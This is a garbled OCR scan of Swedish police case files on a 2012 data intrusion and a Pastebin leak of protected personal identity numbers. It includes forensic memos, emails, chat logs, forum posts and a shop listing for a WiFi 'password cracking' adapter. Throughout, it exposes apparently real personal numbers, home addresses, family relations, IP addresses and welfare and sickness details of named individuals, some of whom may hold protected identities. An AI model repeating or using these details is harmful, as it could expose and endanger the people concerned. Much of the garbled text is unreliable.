Med vän l ig hä lsn ing ,  

Lars Grundström ,  t .f. I nformationssäkerhetsansvarig 
Riksdagsförvaltn ingen 
Te lefon :  08 - 786 68 86 
Mobi l :  076 - 1 05 86 56 

Från : 
Ti l l :  
Datu m :  

Ärende:  

Hej Lars ! 

"Morgan Larsson "  < Morga n . Larsson@pol isen .se> 

Lars Grundström/J u r/Ri ksd ag en@Riksdagen 

201 2-03-30 1 3 :08 
I ntrång 

Re f till tidigare samtal 

Y 356 var ett samlingskundnummer enligt uppgifter från dig. AVIY356  säger det dig något mer ? Vi 
ser att detta konto använts 20 1 2-02-25 mellan 04.55---06 .47. Den 25/2 är en lördag fk. 
Hör av dig 

MVH 
Morgan Larsson 
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Morgan Larsson 
Gruppchef/Inspektör 
Polismyndigheten i Stockl10lms län 
Länskriminalpolisen/Specialbrottssektionen SE- 1 06 75 Stockholm 
+46 708 95 1 6  1 3  (mobil ) 
+46 1 0  56 37557 (office) 
+46 10 56 334 69 (fax) 
morgan. larsson@polisen. se 

Tänk  på m i ljön - skriv i nte ut i onödan 
Th ink  susta inable - don't print un iess you have to 

Paae 3 
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Polismynd ighet 

Stockholms län 

5kydd4d3p3r50n n u m m3rS3K3 L  1 
9 - Pasteb i n . com 

Enhet 

LU/IT !T-forensisk sektion 
Org inalhandl ingens förvaringsplats Datum 

20 1 3 -03-26 
l nvolverad personal Funktion 

Signerat av 

Signerat datum 

Diarienr 

020 1 -K8 1 864- 1 2  
Tid 

1 3 :3 1 

Joakim Persson Uppgiftslämnare 
Berättelse 

Personnummer utlagda på http ://pastebin.com/K5q2N270 

Samtliga personnummer är maskerade. Se vidare under rubriken Rättshjälp och Pastebin 
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P A S T E B l N l #l paste tool s ince 2002 

22 . 

23 . 

24 . 

25 . 

P A S T E B I N  
create new paste trend ing pastes 

S kydd4d3p 3r50nn u m m 3 rS3K3 l19 

BY:  A GU EST ON MAR 29TH.  2012 l SYNTAX: NONE l SIZE: 117.37 KB l HITS: 92 l EXPIRES: NEVER 
DOWNLOAD l RAW l EM BED l REPORT ABUSE 

Fu ldend din PC med Office 2010. Keb det nu' @ 

create new paste tools ap i  archive real-t ime faq 

Microsoft· 

search .. .  

sign u p  login my sett ings my profi le  

Publ ic  Pastes 
Untitled 

l see aga 

M i racle HTMLS Doctype 
HTML I l  see aga 

Untitled 
3 see ago 

Untitled 
3 see aga 

NSURL path not fun . . .  
3 see ago 

iytyiytiyti 
6 see ago 

Untitled 
6 see aga 

Watch The Vampire . .  
l m in  aga 
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29 

35 

36 

38 . 1iii·- - - -· ·- - -
39 . 

49 . 

41 . 

42 . 

45 

47 . 

48 . 

49 . 

52 . 

53 . 

54 . 

55 . 

56 . 

57 . 

58 . 

59 . 

69 . 
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65 . 

66 . 

67 . 

68 . 

7 1 . 

72 . 

73 . 

74 . 

76 . 

77 . 

78 . 

sa . 

81 . 

82 . 

83 . 

84 . 

8 5 . 

86 . 

87 . 

88 . 

94 . 

95 . 

96 . 

97 . 

98 . 

99 . 
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122 . 

123 . 
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137 . 

138 . 

141 . 

142 . 

143 . 

146 . 

147 . 

148 . 

159 . 

1 5 1 . 

156 . 

157 . 

158 . 

159 . 

161 . 

162 . 

164 . 

165 . 

166 . 

167 . 

168 . 

171 . 
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2G7 · l l 
2GB . l 
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209 . 

2 1 3 . 

214 . 

217 . 

218 . 

219 . 

2 2 2 . 

223 . 

224 . 

226 . 

228 . 

229 . 

230 . 

2 3 3 . 

2 3 5 . 

2 3 6 . 

242 . 

243 . 

244 . 
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2 8 3 . 

284 . 

2 8 5 . 

2 8 8 . 

2 89 .  

290 . 

2 9 1 . 

2 9 3 . 

294 . 

295 . 

298 . 

299 . 

300 . 

303 . 

304 . 

305 . 

306 . 

307 . 

313 
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3 1 7 . 

3 1 8 . 

3 2 1 . 

3 2 2 . 

3 2 3 . 

324 . 

3 2 5 . 

3 2 8 . 

3 2 9 . 

3 3 8 . 

3 3 3 . 

334 . 

3 3 5 . 

3 3 6 . 

3 3 7 . 

340 

3 5 8  

3 5 1  
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3 5 3 . 

354 . 

357 . 
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369 . 

362 . 
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3 64 . 

367 . 

368 . 

3 6 9 . 

372 . 

373 . 
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375 . 

378 . 

379 . 

3 8 1 . 
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387 . 

3 8 8 . 
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4 5 3 . 
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5 6 6 . 
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568 . 1 
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570 . 

571 . 

572 . 

573 . 

577 . 

578 . 

5 7 9 . 

5 8 1 . 
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5 8 3 . 
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587 . 
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5 9 1 . 

592 . 
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602 . 

604 . 
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6 1 3  
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RAW Paste Data create a new version of this paste 

Paste b i n .com Too l s & A p p l i cat ions 

Windows F i refax Chrome iOS WebOS Android Mae Opera C l i ck.to 

create new paste l a pi l tre n d s  l users l faq l too l s  l d o m a i n s  center l p rivacy l contact l stats l go pro 

Fol low u s: paste b in  o n  fa cebook l paste b i n  o n  twitte r 1 paste b i n  i n  the n ews 

Som e fri e n d  s: hostlogr l t inysubs  l u r i spy l Ii leshut 

Paste b i n  v3 .1  rendered i n :  0 .023 seeo n d s  

U NIX 
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I n tyg skatteverkets verifiering av fi l innehå l l ,  20 1 3-03- 1 9 1 2 : 1 9  d iarien r: 020 1 -K8 1 864-1 2 

INTYG 
Anders Kylesten 
0 1 0-574 85 42 

Datum 

20 12-03-3 1 
D nr 

1 3 1  23 1 0 1 2- 12/1 1 3  

Verifiering av filinnehåll 

Polismyndigheten i Stockholms län 
1 06 75 STOCKHOLM 

Detta intygande avser jämförelsen mellan två filer och deras innehåll. 

Fil l (i utredningen betecknad som 2007-filen) uppges ha kopierats från företaget. 
Filen innehåller verkliga svenska personnummer. Antalet personnummer i filen är 
1 0.703 .  

Fil 2 (i utredningen kallad 9 .000-filen) är den fil som utredningen fann på  Internet 
den 30 mars 20 1 2  med adressen pastebin.com/K5q2N270. Även denna fil 
innehåller verkliga svenska personnummer. Antalet personnummer i filen är 
9 .090. 

En jämförelse mellan filernas innehåll ger följande resultat: 
9 .004 unika personnummer återfinns i bägge filerna. 
Fil l innehåller 1 .699 unika personnummer som saknas i fil 2 .  
Fil 2 innehåller 86 unika personnummer som saknas i fil  l .  

www.skatteverket.se 
Postadress 
1 71 94 Solna 

Skatteupplysningen, telefon 

0771 -567 567 
E-postadress 

huvudkontoret@skatteverket.se 
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PM 1 20705 S kyddade person u p pgifter, 201 3-03- 1 8 1 5 :32 diarienr :  020 1 -K8 1 864-1 2 

Polisen 
Pol ismyndigheten i Stockho lms län 

Länskriminalpolisavdelningen 
IT-forensiska sektionen 
Joakim Persson 
IT-forensiker 

PM 

Datum 

20 12-07-05 

Diarienr (åberopas vid korresp) 

020 1 -K8 1 864- 12  

Skyddade personuppgifter i betalningsunderlag tillhörande 
Infotorg 

I datorn med beslagsnummer 20 1 2-020 1 -BG l 022 1 - 1 9  tillhörande Mathias 
Gustafsson påträffades data som får antas vara betalningshistorik för tjänsten 
Infotorg. Datat påträffades i det som betecknas som oallokerat utrymme, det 
vill säga att det är data som har lagrats i filer på datorn men att filerna raderats, 
antingen för att de endast lagrats temporärt av systemet eller för att de tagits 
bort av användaren. 

Totalt påträffades 2 364 289 rader med betalningsunderlag varav 2 348 529 är 
unika rader. Bland dessa påträffades l O 783 unika rader som innehåller skyd
dade personuppgifter enligt uppgift från skatteverket per den 4 maj 20 12 .  

A v dessa innehåller 205 unika rader med tydliga adressuppgifter, gatunamn 
och i flertalet fall gatunummer, postnummer och postort. 

Utöver dessa finns 487 unika rader som innehåller delar av adressuppgifter 
och där man mer eller mindre skulle kunna lokalisera personen genom att 
pussla ihop uppgifter. 

Joakim Persson 

Tel: O 1 0-56 366 34, 0733-3 1 5 1  6 1  
j oakim. persson@polisen. se 



PM 
Signerad av 

Jämföre lse av skyddade perso n u m mer.  Signerad datum 

Polismyndighet 

Stock:holms län 
Enhet 

LU/IT !T-forensisk sektion 
Uppgiftslämnare 

Steenmark, John G 
Beslag verkställt Material för analys 

Nej Nej 

Mottaget 

Sätt på vi lket uppgift lämnats 

Upprättad av 

John G Steenmark 

Uppg iften avser 

Jämförelse av skyddade personummer. 
U ppgift 

En j ämförelse har gjorts mellan följande material : 

Diarienr 

020 1 -K8 1 864- 1 2  
Datum Tid 

20 1 3 -0 1 -29 1 5 : 54 

Mottaget datum Tid 

l 0464 personnummer som påträffats på oallokerat område på beslagspunkten 
20 1 2-020 1 -BG 1 022 1 - 1 9 . 

1 0464 personummer i filen E484.DAF 1 496 .SKYDDADE.READREAD på material från 
Ubuntu One. (Personnummerna matchar exakt med beslagspunkten 
20 1 2-020 1 -BG 1 022 1 - 1 9) 

9092 personnummer som lagts ut på Pastebin. 

1 2665 skyddade personnummer från 20 1 2  från skatteverket. 

Beslagspunkten 20 1 2-020 1 -BG1 022 1 - 1 9  jämfört mot Pastebin: 67 1 1  personummer matchar. 

Beslagspunkten 20 1 2-020 1 -BG1 022 1 - 1 9  jämfört mot Skatteverket: 2784 personnummer 
matchar. 

skatteverket jämfört mot Pastebin: 2940 personnummer matchar. 
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.n. 
198107217187 

!!lJ 94.2Q0.41 UUNGHÄllSG!!t 4 A LGH 1002 
TIMMERMANSVÄGEN 6 A LGH 1203 �UDVIKA SVERIGE 

LUDVIKA SVERIGE l 
Folkbo�förd pä 

Folkbokförd pa 

2012-04-18 2012-04-08 
l l 

A Syskon 11 
196603047298 195303117211 

Gustafsson, Hans Olof PETER� /Gustafsson, Bror Olof KENNET 
•=•� '�c 

� 
o o 94.234. 170.188 46.59 . 19 . 1 14 

!!lJ 
SKOGSRUNDAN 8 B LGH 1002 

LUDVIKA SVERIGE l 
Folkbokförd pä 

2012-04-18 l 
� 

195609297287 

!!lJ 
SKOGSRUNDAN 1 
LUDVIKA SVERIGE l 

Folkbokförd pä, lgh 1404 
2012-04-08 l 
A � -

--
-Folkbokförd pä ____ ,a_ ...,... 2012-04-18 l!ll 

196103113 160 GROTlVÄGEN 13 B LGH 1001 
Rönkä, Leila PÄIVI Hannele LUDVIKA SVERIGE 

�, . . . . 1d 1.11 Folkbokförd p.! 

""�»• • 
.m. 

----�moo·----- --------t--Syskon -A 199811234245 
Lahti, KAJSA Sara Alexander 

197611177234 199105061304 198801057178 
Gustafsson, ANN-CHARLOD Maria Birgitta 

198708067148 
Gustafsson, Rose-Mar-ie SABINA 

SIAGNING 

197901107230 
Gustafsson, Bror Olof FREDRIK 

SLAGNING 

199304025365 
Gustafsson, KITIY Maria Mikaela 

SIAGNING 
Gustafsson, Bror Olof MATHIAS Bergström, LISA Viktoria Theres Bergström, Carl MARTIN 

SLAGNING l 
Folkbokförd p� 

2012-04-18 

l 
� 

STOCKBACKEN 206 
KOPPARBERG SVERIGE 

l 
Folkbokförd pä 

2012-04-17 \ 
� 

RÖ8ACKSVÄGEN 28 
LUDVIKA SVERIGE 

l 
Folokbokförd pä 

2012-04-08 
l 

!!lJ 
FURUBORGSVÄGEN 9 B LGH 1101 

LUDVIKA SVERIGE 

l 
Folkbokförd pä 

2012-04-08 

l 
� 

SKOGSRUNDAN 8 B LGH 1001 
LUDVIKA SVERIGE 

o 
85.228.54.229 

SLAGNING SLAGNING �kbokförd p.l 
B 
� 

12-0\ l 
� 

TIMMERMANSVÄGEN 14 l LGH 1 103 
LUDVIKA SVERIGE 

o o 
94.234. 170.177 WAP 

Page 1 of 1 

l 
Folkbokförd p� 

2012-04-08 \ 
� 

TRÄSLÖVSVÄGEN 25 E LGH 1 108 
VARBERG SVERIGE 

$lagningar pä Mathias och Lisas fami ljer 
gjord a v  

Per Englund 
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(Blå text Familjemedi���"MJ 
orange text kamrater enligt 

kontaktlista i telefon 

• 
lP nr: tillhorande 

Mathias Gustavsson 
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PM 1 204 1 3 Kontro l l  med Försäkri ngskassan på personer,  201 3-03-20 1 0 :34 d iarienr :  020 1 -K8 1 864-1 2 

Polisen 
Riks kri m ina lpol isen 

KPE-KUT 
Människohandel 
Per Englund 
krinsp 

PM 

Datum 

20 1 2 -04- 1 3  

Kontroll med Försäkringskassan på personer i ärendet 

- -

Enligt mantal är- skriven på 

- är 

-

Långtidssjukskriven, pågående sjukpenning sedan flera år tillbaka. 

-
Har blivit av med sitt bostadsbidrag 20 1 2-03 -28 ,  då. inte inkommit med 
handlingar. Kontakt nummer 

Mathias Gustafsson 

Han har varit långtids sjukskriven fram till slutet av januari 20 12 .  Läkaren 
anser att han arbetsför. Inget registrerat arbete. Han har e-mail adressen 
luciddreams@gmail.com registrerad hos försäkringskassan. 

PM 1 204 1 3  Kontroll m e d  Försäkri ngskassan p å  personer i ärendet.docx 

l �9 
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Rikskriminalpolisen 20 1 2-04- 1 3  

.. 
Uppbär aktivitetstöd, från försäkringskassan. Har sin aktivitet hos 
- i Ludvika. Kontakt """"-'-'"'''-...._ .......... uv• 

-
Arbetar som- hos - - har uppgivit telefon-
nummer till sig 

Per Englund 
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Welcome to Ali Express co,poo Get a Free US $5 Coupen Special Offer for New Buyers 

Welcome to Ali Express .com! Sign In l Join Free 

My Orders Wish List Escrow Help 

C H I N ESE MART 

Store No.31 6387 

Store Home Products Top Sell ing 

Search Products 

On AliExpress 

Feedback Score Contact Detai ls 

Home > Store Home > Products > wireless product > S igna iK ing 1 80000G HIGH POWER USB WIFI 16db i  ADAPTER WEP/WPA 

100.0°/o positive feedback 

1 2  Rati ngs 

View More 

Chat now!  Centact Now 

Ad d to Store List (6 Adds) 

Products 

Others(227) 

GADME I (30) 

KAI BOER(25) 

NOONTEC(27) 

M EASY(29) 

G I EC(20) 

DIYOU MATE( 1 2) 

H I MED IA( 1 2 )  

LEENGEE(6) 

wireless product(5) 

I DER(3) 

Toys & Hobbies( 1 )  

Refi ne Search 

Keywords: 

Advanced search 
l � IC O I II...I I  

Top S e l l i n g  Products 

_j 

Andraid 3d hd media player 

box hd mi  tv box/ . . .  

•"' 

US $ 1 59.99 l piece 

Recent Orders(2) 

new box headphones 

earphones headset hot sel l .  . .  

US $ 1 2.00 l piece 

Recent Orders(2) 

Diyomate X12 Adopt newest 

P4P HD network . . .  

US $ 1 58.00 l piece 

Recent Orders(2) 

Measy newest media player 

X? FULL H D  Android . . .  

US $ 1 58.99 l piece 

Recent Orders(2) 

S igna iKing 1 80000G H IGH POWER U S B  WIFI  
1 6d b i  ADAPTER WEPIWPA 

Bu lk  Price : US $45.00 / piece ( > l  p ieces) View M ore 

See Larger Image: SignaiKing 180000G HIGH 

Prod uct ID: 483365635 

Bookmark & Share 

Quantity : [2 ] pieces 

Sh ipp ing  Cost : Free Shipping to 

Sweden Via C h i n a  Post Air Parce! 

Processing Ti me :  S h i ps out with i n  3 days 

Total Price : US $90.00 

+Add to Wish List (O  Adds) 

AliExpress Buyer Proteetian It's FREE 
Refunds on unsatisfactory orders 

Encrypted cred it card payments 

Prod uct Deta i l s  Shipping & Packa g i n g  Payment Terms Feedback 

Item specifics 
Place of Orig i n :  Taiwan 

Products Status :  stock 

Bra n d  N a m e :  Signa lk i i ng  

Typ e :  Wire less 

Interface Type: USB 

Certification:  CE 

K i n d :  Externa l 

Model N u mber: 180000G 

Appl icati o n :  desktop a n d  l a ptop 

Tra nsmission Rate : 180000G 

ra nge:  1800mw 

sta n d a rd :  Wire less : IEEE 802 . 1 1  b/g .  USB 2 .0 sta ndard 

Data Rate : 802 . 1 l g :  54Mbps 802 . 1 l b :  l l M bps 

Prod u ct Description 

Lea rn more 

N ew Arriva l s  H i g h - Powe r a n d h i g h  sensitivity 

c l i pper B / G  a d a pte r l SOOOOG, Pa sswo rd cra c ki n g  

, u s b  a d a pte r, Wi fi  N etwo rk U n i oc ke r  
S igna i K ing 180000G H i g h - Power 

1 . 1 800mW C l ipper  B/G 

2 . USB WiFi Ada pter 

3 . Come with 1 6dB i  Pa ne l  Di rectiona l  Antenna  

2012-04-1 6 1 1 :  
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High power Led Car. . .  

-

US $ 5.20 l piece 

Recent Order( 1 )  

LED Car lndicator Light 

Interior Bulbs Wedge . . .  
US  $ 0.81 l piece 

Recent Order( 1 )  

Ch ristmas newest Measy 

newest andraid 3d hd . . . 
US $ 1 59.99 l piece 

Recent Order( 1 )  

� 8-inch Min i  TFT LCD TV 
GAD M E I  pl8006 800x600 . . . 
US $ 84.00 l piece 

Recent Order( 1 )  

-- Diyomate K 5  media player 
- N61F 1 0  chi pset ful l .  . .  

-
US $ 39.00 l piece 

Recent Order( 1 )  

Measy EBHDL Ful l  H D  

1 080P Based o n  RTD 1 1 85 . . .  

US $ 1 48.00 l piece 

Recent Order( 1 )  

view more 

I nterested in this store? 

Subscribe to AllExpress Alert! 

- Free Lea rn ing  Kits CD for retrieve WiFi Secu rity Password for ed ucation purpose . 

- Come with Back Track Bei n i  5/6 and Support Windows XP l Vista l 7 l Mae & L inux .  

- 2-l n - 1  Easy to Carry, H igh  Power USB W i Fi Ada pter l Long Ra nge & H i g h  Sensit ivity WiFi Access . 

- Come with 16dB i  Pa nel  Di rectiona l  Antenna  more focus to Iong d ista nce ra nge and  stronger s igna ls .  

- H igh-Ga in  Power 1 8000mW. 

- Latest 20 1 1  Mede l .  

- Genu ine  Orig i n a l  Rea ltek 8 1 87L Ch i pset. 

- Wa rra nty : 6 months 

- Product from Ta iwa n .  

Features 

Campl ies with !SM 2 .4GHz IEEE  802 . 1 1 b/g 

DSSS/O FDM Technology 

Connects at a fu l l  54Mbps via USB 2 .0,  u p  to 8 t imes faster than a USB l .  l 

H i g h  Speed Transfer Rate for 802 . 1 1 b/g 

Come with H i g h-Ga in  1 6dB i  Pa nel  D i rectiona l  Antenna for a wider w i re less coverage .  

H i g h  Output  Power u p  to � 1800mW for  extends the coverage ra nge u p  to lSx  than sta ndard USB adapters 

Free Space Capab le  up to 3000 m .  

Super h i g h  power des ign ensures a I o n g  d i stance 

Product I i fe time i ncrease 4 t imes.  

S igna l  Improved 4 5 % .  

H e a t  re leased increased b y  two b ig he les at bottom base. 

Support 64/ 1 28-bit WEP  Encryption ,  WPA, W PA2 

Support Wi ndows 7 (32bit, 64bit) l Vista ( 32 bit, 64bit) l XP l 2000 l ME l 98 

Support Li n ux, Max OS.  

Pa nel  D i rectiona l  Antenna for better performance 

Size : 1 3 6  x 160 x 190 ( m m )  

For more i nformation, p lease visit http ://www.s igna lk ing . net/ 

Specificatio n s  

Item ech nica l  Specification 

standard Wire less : IEEE  802 . 1 1  b/g . USB 2 . 0  sta ndard 

Data Rate 
802 . 1 1 b :  1 1 M bps 

802 . 1 1 g :  54Mbps 

IEEE  802 . 1 1 b :  ( DSSS),  5 . 5/ 1 1  M bps (CCK) . 

2 M bps ( DQPSK),  l M bps ( DBPSK) 

Data Modu lat ion Type IEEE  802 . 1 1 g :  (OFDM ) ,  48/54 M bps ( 64-QA M ) .  

24/36 M bps ( 1 6-QAM ) ,  

1 2/ 1 8  M bps (QPSK),  6/9 M bps ( B PSK) 

Antenn a Extermal  Antenna  

Hest  Interface M i n i  USB 

Output Power 24d bm (OFD M ) ,  32dbm (CCK) 

Freq uency Ra nge 2 .4GHZ ( !SM Band)  

Software 
Secu rity : 64/ 1 28-b it  WEP Encryption ,  WPA, WPA2 

Driver :  W indows XP/2000/Vista , Li nux,  Mae  l Windows 7 

Operat ing Vo ltage DC Sv + 5% 

em perature Operati n g :  OC�+ SOC, Stora g e :  �+65C 

H u m i d uty 
20°/o�85% Non-Condens ing 

10°/o�90% Non-Condens ing 

package conta nt 

O n e  S igna i K ing 180000G 1800mw 802 . 1 1 b/g come with H igh-Ga in  16dB i  Pa nel  D i rect iona l  Antenna 

One CD Lea rn ing Kits for  retrieve WIFI  Secu rity password 

One Wi ndow CD d river, inc luded in  CD As we i l  

One Additiona l  Instruction i n  Eng l i sh  

One Rece i pt w ith  wa rra nty period 

201 2-04-16 1 1 :  
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_ f Lj Welcome to Tricolour Trading! 

Please make sure tbat you have fully read and understand all ofour poli
des below before makjng a purchase. Also, if you are not sure about any
thing, please contact our eostomer service be f ore making the purchase. We 
will respond to questions from S AM - 5 PM Monday - Friday and will do 
our best to reply within 24 hours. 

$ Payment 
e We accept .ESCROW /PayPal/Credit Card, etc. 
e Alt payment should be made within 3 days af ter you placed an order. 
e If you have an y difficulty in paying your item, please contact u." first, 

and we will help to solve it . 

.. Shipping 
e All items will be ship within 24 to 48 business hours. 
e UPS/Offi../EMS express shipping usuaUy takes 3-7 working days 

depended on the country delivered to. Free shipping with Air Mail 
(Hong Kong Post & China Post) usuaUy takes lQ-21 working days 
depended on the country delivered to. W e are not responsible f or 
an y accidents, delays or other issues that are the responsibility of the 
shipping service. 

e Any import Chagares or fees are the buyer" s responsibility. To 
ensure you receive upon ntinimum ta� we can declare as 
··Gift/Sample·· with lo w va) u e. 

C Return 
e We provide 1 year warranty. The items have been checked by Q.C. 

be f or e delivery. 
e If you feel disappointed the item, please notify us within 3 days of 

delivery. ltems must be returned in their original condition for refund 
or exchange. Shipping cost incurred on you. 

Id Feedback 
e If you have a ny questions, please feel f ree to e mail our service special

ists 24 Hours a Day, 7 Days a Week. We wi1J reply you ASAP. If no 
response within 24 Hours, please check the spatn in your mail box. 

e We greatly appreciate your POSITIVE feedback. Please do NOT 
leave negative feedback without asking for help. 

201 2-04-1 6 1 1 :  
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Packa g i n g  Deta i l s  
U n it Type: piece 

Package Weight: l . S kg ( 3 . 30 7 1 b . )  

Package Size: 1 5cm x l Ocm x S c m  ( 5 . 9 1 i n  x 3 . 94 in  x 1 . 97 in )  

Rel ated P rod u ct 

SignaiKing 1 80000G 
1 800mW High .. 

US $38.00 - 45.00 l piece 

Boo k m a r k  & S h a re : 

New Arrivals High-Power 
and hi. . .  

US $38.00 - 45.00 l piece 

Favorite Facebook 

Dig g Redd it 

Company I nfo - Partnerships 

Password cracking ,Free 
I nterne . .  

U S  $398.00 - 406.00 / Iot 

1 O pieces / Iot 

Twitter Google 

E m a i l  

Wholesale - B u y  - Sel l  - A l l  Promotions - My Orders - H e l  p - Site M a p  - Customer Service 

1 Opc Password 
cracking , Free Wl . .  

US $398.00 - 406.00 / Iot 

1 O pieces / Iot 

Del ic ious 

Browse Alphabetica l l y :  A l l  Prod ucts, Free Sh ipp ing , Wholesale Product, Promotion , Price, D iscount, Campare, Customized , Campare Price 

French, German, Ita l i an , Japa nese, Korea , Netherlands, Portuguese, Russian , Span ish 

Al ibaba Group : A l ibaba .com : A l ibaba Ch ina  - Al ibaba International  - Al iExpress - Al ibaba Japan l Taobao 1 A l ipay 1 Ya hoo!  Ch ina 1 Koubei . com 1 Al isoft 1 Vend ia 
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PM 1 30 1 02 Spår från Mysec och flatl i ne ,  20 1 3-03- 1 8 1 5 :36 d iarienr: 020 1 -K8 1 864-1 2 

Polisen 
Pol ismynd igheten i Stockho lms län 

Länskriminalpolisavdelningen 
IT-forensiska sektionen 

Joakim Persson 
IT-forensiker 

Spår från Mysec och Datline 

Chatt med <sbtr > 

PM 

Datum 

20 1 3 -02-04 

Diarienr (åberopas vid korresp) 

020 1 -K8 1 864- 1 2  

2 0 1 1 - 0 7 - 2 2  0 7 : 0 8 < s b t r  > vi s s te  inte  du var i t  produ k t iv i l a rm--

s y s t emb ranchen : )  
2 0 1 1 - 0 7 - 2 2  0 7 : 0 8 < t l t >  http : / /www . my s e c . s e 
2 0 1 1 - 0 7 - 2 2  0 7 : 0 7 < t l t >  hanterar  b l . a .  a l l a  s thlms kommuna l a  

s ko l o r s  brand/ i nb ro t t s l a rm 
2 0 1 1 - 0 7 - 2 2  0 7 : 0 7 < s b t r_> j a s å  vafan 

� 1 - 0 7 - 2 2  0 7 :
-
0�5

---
< t l t >  ab s t rahe r

_
a
_
r�l�a

-
r
_
m
_

e
_

n t i l l  e t t  internt  f o r 
mat 

2 0 1 1 - 0 7 - 2 2  0 7 : 0 5 < t l t >  

2 0 1 1 - 0 7 - 2 2  0 7 : 0 5 < t l t >  

2 0 1 1 - 0 7 - 2 2  0 7 : 0 5 < t l t >  

2 0 1 1 - 0 7 - 2 2  0 7 : 0 4 < t l t >  

2 0 1 1 - 0 7 - 2 2  0 7 : 0 4 < t l t >  

2 0 1 1 - 0 7 - 2 2  0 7 : 0 4 < t l t >  
2 0 1 1 - 0 7 - 2 2  0 7 : 0 2 < sbtr  -
2 0 1 1 - 0 7 - 2 2  0 7 : 0 0 < t l t >  

2 0 1 1 - 0 7 - 2 2  0 6 : 4 1 < t l t >  
2 0 1 1 - 0 7 - 2 2  0 6 : 4 1 < t l t >  

s a  d e n  k a n  t a  emot v a d  s om he l s t  ove r 
vad s om he l s t  
o vida rebe fordra det s om vad s om he l s t  
ove r vad s om he l s t  
o dareme l l an gora  avancerad  mat chn ing 
osv  
det  s y s t eme t j ag utve c k l a t  a r  me r en  
l a rmhanteringsp l a t t form 
den transpo r t e r a r  o aggrege rar  
brand / i nbrott s / dr i f t s / b l ahb l ah- l a rm 
modu l a r  f i n f i n  grej  

> mmmm 

fyi s a  rattar  man inte  l a rm annat an 
l e k s a ke r  med knapp s a t s en : )  

� 

we l l  de t e j ag s om utve c k l a t  s y s t eme t : D  
j ag t r o r  t e s t l a rme t i f raga s ki c kade s  i n  
m e d  en rad s he l l s c r ipt : )  

PM 1 3 0 1 02 Spår från Mysec och flatline .docx 



PM 1 30 1 02 Spår från Mysec och flatl in  e ,  201 3-03- 1 8 1 5 :36 d iar ienr :  020 1 -K8 1 864- 1 2 

Polismyndigheten i Stockholms län 20 1 3-0 1 -2 1  020 1 -K8 1 864- 1 2  

Inlägg från flashback 

https :/ /www.flashback.org/t l 952702 

(l 20 1 2.- 0 9 - 1 1 , 1 2 : 48 # 2 7 6  
isn isn Citat : 
Avstä n g d  • 

U rspru n g l i g e n postat av G ul lesnutla n 
Ka nske det re d a n va rit u ppe i tr� d en m en j a g  h a r fö r m i g att An a kata a rbetat m e d 

��� säke rheten h o s  Wi ki le a ks d ropbox e,I Je r n � g ot l i kn a n d e . 
D et ka n va ra ett skä l s� g ott s o m n � g ot, ka n d e  se d a n f� Assa n g e m e d p� sa m m a pl a n 
o eks� vo re d et vä l fu l l bo rd at � 

Re g : a ct 2 0 0 8 
An a kata j obba r �t e n d e l sto·ra a ktöre r i Sve ri g e . Ka n sä g a  att h a n h a r a ccess o ch d rifta r sto ra 
öve rva kn i n g/l a rmsyste m �t www. mvsec.se 's ku n d e r 

I n lä g g : 3 9 9  

D 20 1 2- 0 9 -1 1 , 12 : 5 2. # 2 7 9  
G al etTro l l  Citat : 
tv1e d l e m • 
Re�g : M ay 2.0 1 0 

U rspru n g l i g e n postat av isn i.sn 
An a kata j o bba r �t e n d e l sto ra a ktörer i Sve ri g e . Ka n sä g a  att h a n h a r a ccess o ch d rifta r 

I n l ä g g : 1 17 sto•ra öve rva kn i n g/l a rmsyste m �t w•Nw. myse c.se 's ku n d e r 

S ka b l i  ku l att fö·lj a d en n a tr� d o m m er sa ke r flyte r u pp ti l l  yta n . 
Bo·rd e i nte fl as h ba ck ko l l a upp d etta bo l a g .. 6 

D 2.0 1 2.- 0 9- 1 1 ,  14 : o o # 2 8 2  
kevl a r6 6 6·  Citat : 
t'-11 e d l e m • 
Re g : S e p  2 0 12 

U rspru n g l i g en postat av Ga l etTro l l  
S ka b l i  kul  att fö lj a  den n a tr� d o m m e r sa ke r flyte r u pp ti l l  yta n . 

I n l ä g g : 2 
Bo rd e  i nte fl a sh ba ck ko l l a u pp d etta bo l a g  .. 6 

J o bba r p� d etta bo·l a g  o ch ka n ko n state ra att d etta ä r e n sa n n i n g m e d m o d ifi kati o n , d et 
stä m m e r att h a n h a r ko d at s o m ko·n su lt , d o ck i n n a n TPB h ä rva n nysta d es u pp 

-

D 2.0 1 2 - 0 9 - 1 1 , 1 5 : o o  ;ir 28 8  
G a l etTro l l  Citat :  
tv1 e d l e m • 
Re.g :  M ay 2.0 1 0 

U rspru n g l i g en postat av kevl a r6 6 6  
J o bba r p� d etta bo l a g  o ch ka n ko nstate ra att d etta ä r e n sa n n i n g m e d m o d ifi kati o n , d � �  

I n l ä g g : 1 17 stä m m e r att h a n h a r ko d at so m ko nsu lt , d o ck i n n a n TPB h ä rva n nysta d es u pp 
-

s krattreta n d e att h a n ä r m is.stä n kt fö r att h a h a ckat skv o ch l o g i ca s a mti d i gt so m fö reta g et 
h a n h a r ko nsu ltat fö. r h a r n o m i n e ra ds ti l l  � rets sä ke rh etsföreta g . ka n ske va r d et d ä rfö r h a n 
sku l l e ko m m a h e m , s� h a n ka n f� pris et? @ 
httQ::[imvse c. se . l o oQ:i a d n s. co m/?Q= 7 8 5 

D 20 1 2.- 0 9 - 1 1 , 1 5 : 1 2. ,n' 28 9 
kevl a r6 6 6  Citat : 
t'-11 e.d l e m • 
Re g :  S e p 2 0 12 

U rspru n g l i g e n po stat av G a l etTro l l  
s krattreta n d e att h a n ä r m isstä n kt fö r att h a h a ckat skv o ch l o g i ca s a mti d i gt so m 

I n l ä g g :  2 företa g et h a n h a r ko n su ltat för h a r n o m i n e ra d s  ti l l  � rets .sä ke rh etsfö reta g . ka nske va r 
d et d ä rfö r h a n sku l l e ko m m a h e m , s� h a n ka n f� pris et? @ 
httQ:{1m'f.se c . . se . l o o·Qi a d ns . ao mL?Q= 7 85 

H a h a h a , j a a d et h a d e va rit snyg gt , tv1 e n d et ä r so m s� att h a n utve ckl a d e ett 
ko m m u n i kati o ns protoko l l  �t o s.s fö r e n m a.s:sa � r se d a n , s �  n � g o n pris utd e l n i n g bl i r d et tyvä rr 
i nte © 
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Polismyndigheten i Stockholms län 20 13 -0 1 -2 1  

SMS från Gottfrids telefon 

z z -1 o ::! )> -1 
OJ c '< OJ 3 n ro 3 3 "'C ...... ...... x 

ro ro ro :;::· ...... 
ro c- ro o ro OJ ..... ...... OJ 

020 1 -K8 1 864- 1 2  

o o OJ ...... ...... � OJ ro ..... 

Text D raft Wu 9199853645 sen de r  Per  O lov Wa l l - N ot Stored 
